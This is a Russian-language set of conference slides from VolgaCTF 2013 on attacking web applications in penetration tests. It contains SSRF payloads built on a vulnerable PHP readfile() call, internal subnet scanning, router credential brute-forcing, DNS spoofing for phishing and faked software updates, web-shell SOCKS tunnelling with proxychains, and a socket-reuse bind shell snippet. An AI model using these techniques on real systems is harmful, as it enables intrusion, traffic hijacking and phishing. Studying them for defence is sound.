Атаки на веб-приложения в тестах на проникновение

VolgaCTF 2013

Ганиев ОмарОтдел анализа защищенности

Curriculum Vitae

― Изучаю ИБ лет 6

― Факультет математики НИУ-ВШЭ

― CTF-команда RDot.Org

― Хакерский отдел «Информзащиты»

― Beched

Проникновение

― Цепочка некоторых действий

― Недостаточно одной уязвимости

― Разные пути для достижения цели

― Защищенность определяется слабым звеном

― Black vs white box, внутреннее vs внешнее

Кто самое слабое звено?

Персонал

Web-приложения

Сетевое оборудование

СУБД

Файловые хранилища

Прочие сетевые сервисы

Кто самое слабое звено?

2010 2011 20120%

10%

20%

30%

40%

50%

60%

70%

80%

36%

56%

73%

Успешность проведение атак методом социальной инженерии за последние 3

года

Зачем тогда ломать web?

― Больше свободы действий (меньше

согласований), меньше риск провала

― Веб-приложения всюду есть, и они часто

«самописные»

― Зачастую критичные ресурсы напрямую связаны

и с web-приложением

― Более распространённая в жизни модель

взлома

Какие проблемы?

― Веб-серверы обычно в DMZ

― Значит, трудно настроить канал связи, и трудно

попасть в другие сегменты

― Низкие привилегии HTTP-демона

― Требуется больше технических навыков

Некоторые решения

― При наличии таблицы маршрутизации можно

найти путь для проникновения на

ориентированном графе маршрутов сети

― Поднятие привилегий

(kernel, libraries, backups, suid-binaries, crontab, …)

― Другие пути (см. далее)

― Intranet access via HTTP proxy

― SSRF via LFR

― DNS-spoofing via router

― Intranet access via web socks

― Bind shell via socket reuse

Cases

Intranet access via HTTP proxy

― Squid, mod_proxy… По умолчанию всё ok

― server: WebSEAL/6.0.0.0 (Build 051114), wtf?

― IBM Tivoli WebSEAL reverse proxy

― Авторизация не включена

― GET http://some-host.intranet/somepage HTTP/1.1...

― Intranet

auto loiface lo inet loopback auto eth0iface eth0 inet static

address 172.30.109.249netmask 255.255.255.0gateway 172.30.109.254

SSRF via LFR<? //LFR = Local File Readingreadfile($_GET[‘filename’]);

Из документации PHP:int readfile ( string $filename [, bool $use_include_path = false [, resource $context ]] )

Читаем исходники, конфиги, но RCE не получилось =(

download.php?filename=/etc/network/interfaces

SSRF via LFR

Но $filename в мануале PHP – это URL, а не просто путь.

SSRF – Server-Side Request Forgery(в данном случае имеем простейшую вариацию).

/etc/network/interfaces => IP-адрес и маска =>сканирование подсети:

download.php?filename=http://172.30.109.1-254:1-65535/

SSRF via LFRdownload.php?filename=http://172.30.109.2/

Squidstats

SSRF via LFR

Что можно ещё сделать?

PHP wrappers:http://php.net/manual/en/wrappers.php

SSRF bible (cheatsheet by d0znpp):https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM

HTTP, FTP, SSH, File Descriptors…Может привести к исполнению кода.

DNS spoofing via router

FTP brute force => admin:admin

Adminpanel

DNS spoofing via router

config.img => privileged admin

Telnetconsole

<chain N="USERNAME_PASSWORD"><V N="FLAG" V="0x0"/><V N="USERNAME" V="admin"/><V N="PASSWORD" V=“**PASSHERE**"/><V N="BACKDOOR" V="0x1"/><V N="PRIORITY" V="0x1"/></chain>

DNS spoofing via router

DNS spoofing, Bind9 logging => logs

$ cat /etc/namedb/named.conf……logging { channel my_file { file "log.msgs"; severity debug; print-category yes; print-severity yes; }; category default { default_syslog; my_file; }; category queries { my_file; };};

DNS spoofing via router

Host forgery => HTTP logs

*.kaspersky.com IN A 31.3.3.7

Apache logs

DNS spoofing via router

― Мониторинг посещаемых узлов

― Подмена страниц на фишинговые

― Подмена обновлений ПО (на скриншоте выше

логи обращения KIS)

― PPP-аккаунт у провайдера

Intranet access via web socks

― Web-shell (PHP, ASP.NET, …)

― Привилегии поднять не удалось

― DMZ, на NAT открыт только 80 или 443 порты

― Что делать?

― Web Socks!

― Intranet

Intranet access via web socks

Some packet => SOCKS => ProxyChains=> Local daemon => HTTP => Web SOCKS => Target

Локально запускаем демон. Инкапсулируем любой протоколв SOCKS, демон его инкапсулирует в HTTP и передаёт пакет PHP-скрипту через веб-сервер.Скрипт работает по протоколу SOCKS, возвращая ответы по HTTP, используя веб-сервер, т.е. не нужно биндить порт и обходить DMZ.

Далее проксифицируем ПО (в т. ч. Nmap, RDP-клиенты) при помощи proxychains.

$ cat /etc/proxychains.conf | grep socks5socks5 127.0.0.1 1080$ proxychains nmap --top-ports 100 10.10.17.0/24…

Intranet access via web socks

Реализации web SOCKS.

На PHP от ShAnKaR (Antichat);http://forum.antichat.ru/threadnav177147-1-10.html

На ASP.NET (reDuh) от SensePost:http://research.sensepost.com/tools/web/reduh

Intranet access via web socks

Bind shell via socket reuse

― Web-shell (PHP, ASP.NET, …)

― Удалось получить привилегии суперпользователя

― DMZ, на NAT открыт только 80 или 443 порты

― Что делать? Не ронять же веб-сервер!

― Socket reuse!

― Нормальный терминал

Bind shell via socket reuseПриоритет демонов повышается от частного к общему

$ cat /etc/apache2/ports.conf | grep ListenListen *:80$ sudo netstat –apn | grep 80tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 12669/apache2

Socket reuse:…setsockopt( sockfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on) );…serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //just example

Может не сработать, например, на SELinux. Зато работает на FreeBSDМожно просто одним сценарием отключить Apache, запустить демон шелла и запустить Apache, перехватив первое соединение(закрываем дескриптор сокета, не закрывая соединение).Но это риск.

Outro― Во всём виноваты люди

― Людей проще эксплуатировать, но проще и

провалиться

― Веб-приложения эксплуатировать сложнее, но это

происходит незаметно

― Для взлома веб-серверов надо знать скриптовые

языки и структуру ОС

― Для проникновения надо знать структуру сетей и

размышлять в разных плоскостях

Ганиев ОмарОтдел анализа защищённости

admin@ahack.ru

VolgaCTF 2013

Вопросы?